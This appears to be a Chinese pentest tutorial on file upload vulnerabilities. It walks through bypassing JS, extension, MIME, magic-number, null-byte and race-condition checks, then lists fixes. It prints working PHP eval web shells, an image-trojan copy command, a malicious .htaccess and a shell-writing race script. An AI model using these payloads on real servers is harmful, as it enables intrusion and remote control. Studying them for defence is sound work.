文章目录
基本概念
文件上传漏洞是发生在有上传功能的应用中,如果应用程序对用户的上传文件没有控制或者存在缺陷,攻击者可以利用应用上传功能存在的缺陷,上传木马、病毒等有危害的文件到服务器上面,控制服务器。
文件上传漏洞产生的主要原因是:应用中存在上传功能,但是上传的文件没有经过严格的合法性检验或者检验函数存在缺陷,导致可以上传木马文件到服务器。
文件上传漏洞危害极大因为可以直接上传恶意代码到服务器上,可能会造成服务器的网页篡改、网站被挂马、服务器被远程控制、被安装后门等严重的后果。
下面介绍的只有js是前端绕过,其余均为后端绕过。
文件上传漏洞一般上传什么马?
符合网站语言环境的一句话、冰蝎等等
iis服务器 asp或者aspx
apache服务器 php
tomcat中间件 jsp
weblogic中间件 jsp
nginx php
条件:可以上传文件到服务器并能解析执行、可以找到文件上传绝对路径。
js前端绕过
漏洞原理
前端JS过滤绕过上传漏洞是因为应用程序是在前端通过JS代码进行的验证,而不是在程序后端进行的验证。
绕过方法
-
可以通过修改前端JS代码的方式进行绕过上传过滤,上传木马。
-
JS的验证是在前端进行验证,将木马的后缀先改为jpg,这样就可以符合前端JS的验证,然后再通过抓包工具BurpSuite将发往服务器的数据包截包后,修改jpg后缀为php,因为后端没有验证这样就可以成功上传后缀为php的木马。
-
禁用浏览器js
文件后缀绕过
漏洞原理
通过函数pathinfo()函数获取文件后缀,将后缀转为小写后判断是不是php。
绕过方法
黑名单:
- 有些中间件允许解析其他文件后缀,如php3、phtml。
- 结合apache解析文件的方式,从右向左解析,遇到不认识的继续向左寻找,直至找到。若未找到,则输出文件。因此,我们可以通过构造形似名为1.php.123的木马文件来绕过。到时候访问1.php.123文件即可
- 在程序开发时,没有考虑到系统特性,并没有做限制。利用windows系统的特性,可以在后缀中加“.”或者“::$DATA”来绕过。
白名单
白名单拥有比黑名单更好的的防御机制,如
$WhiteList =array('rar','jpg','png','bmp','gif','jpg','doc');
在获取到文件扩展名后对$WhiteList数组里的扩展名迭代判断,如果文件扩展名被命中,程序将认为文件是合法的,否则不允许上传。
白名单相对来说比黑名单安全一些,但也不见得就绝对安全了
- 0x00 截断绕过
用像 test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击。 - 解析/包含漏洞绕过
这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析/包含漏洞。 - .htaccess 文件攻击
Apache的.htaccess:<FilesMatch “xxx”>SetHandler application/x-httpd-php 设置名
字含xxx的文件为php可执行文件。
上传一个自定义的 .htaccess,然后上传一个代码注入过的白名单文件,就可以轻松绕过各种检测。
.htaccess 文件攻击步骤:
- 构造.htaccess 文件,.htaccess 文件的内容是
AddType application/x-httpd-php .jpg
- 构造图片马文件,xx.jpg是正常的图片文件,ma.txt的文件内容是<?php @eval($_POST['1']);?>,利用命令
copy 111.jpg /b + a.txt muma.jpg
,获得图片马muma.jpg。 - 通过上传功能上传.htaccess和tpm.jpg文件。
- 两个文件上传成功后访问图片马,发现里面的PHP代码已经成功解析。
文件类型绕过
MIME绕过
MIME:Mutipurpose Internet Mail Extensions, 多用途Internet 邮箱扩展。
MIME是一个描述消息内容类型的 internet 标准。最早应用于电子邮件系统,后来也应用到浏览器。MIME是描述消息内容类型的因特网标准。MIME 消息能包含文本、图像、音频、视频以及其他应用
漏洞原理
Content-Type用于定义网络文件的类型和网页的编码,用来告诉文件接收方将以什么形式、
什么编码读取这个文件。
绕过方法
Content-Type是在数据包的请求包头中,开发者会通过Content-Type的类型判断文件是否允许上传,但是Content-Type的类型可以通过抓包篡改,这样就可以通过抓包修改数据包的Content-Type来绕过Content-Type判断。
- 上传一个PHP文件
- 使用burpsuite拦截查看MIME类型,
- 发现PHP文件的MIME类型为 application/octet-stream
- 服务端会判断文件类型是否是 image/gif
- 无法通过验证
- 需要将http请求中的Content-Type更改为image/gif类型
- 绕过上传
文件幻数检测
基本原理
通常用的==getimagesize()==函数获取图片长宽信息,如果上传的不是文件,则获取不了信息。
绕过方法
- 木马的头文件中添加图片文件的文件头即可绕过检测,木马的内容:
GIF89a<?php @eval($_REQUEST[123]);?>
常用图片头部值:
JFIF FF D8 FF E0 00 10 4A 46 49 46
GIF89a 47 49 46 38 39 61(GIF89a)
PNG 89 50 4E 47
- 通过copy命令进行图片木马制作绕过检测
111.jpg是正常的图片文件,a.txt是木马的代码<?php @eval($_POST['feng']);?>
通过copy命令,copy 111.jpg /b + a.txt /a test.php
,将两个文件合成到test.php木马文件中。 - 图片隐写:完整的JPG由FF D8开头,FF D9结束,图片浏览器会忽略FF D9之后的内容,因此可以在JPG文件之后加入其他的文件。
文件截断绕过
基本原理
当PHP<5.3.4且magic_quotes_gpc为OFF状态,由于php会把%00当做结束符,导致后面的数据直接忽略,造成截断,上传时如果上传文件的路径可控,可以通过00截断,进行木马上传。
在文件上传后,服务器会重命名上传文件,且路径可控。这样,我们可以添加1.php%00来实现绕过:
原路径:
/uploads/123456.php #123456.php是重命名后的文件
改为/uploads/1.php%00123456.php #这样%00后的数据被忽略,于是我们就实现了写入。
绕过方法
GET类型:
- 在上传php文件时,先利用bp进行抓包,抓到后,我们先修改文件类型。
- 在文件路径部分追加1.php%00
POST类型:
- 同GET一样,先抓包。
- 在文件路径部分追加1.php%00。要注意的是,%00是url编码,我们需要将%00改为0x00,这里可以利用bp里的hex功能,将其改为00。
文件竞争上传
漏洞原理
一些网站文件检测逻辑是先允许上传任意文件,然后检查文件内容是否包含可执行脚本,如果包含则删除。
绕过方法
利用成功上传到删除文件的时间差,上传一个具有写功能的.php文件,在未删除之前立即访问,则会执行.php文件写的代码。
这样我们就可以实现写入恶意代码的目的。
.php文件代码:
<?php
fputs(fopen('./shell.php','w'),'<?php phpinfo();?>');
?>
这样就可以生成一个shell.php文件,并且不会被删除。
漏洞修复
- 使用白名单限制文件上传的类型。
- 对上传文件进行随机重命名,并且文件的扩展名不允许用户自定义。
- 对文件上传的文件夹进行权限限制,去掉脚本的执行权限。
- 对文件的内容进行恶意代码的检测。
- 文件服务器单独设置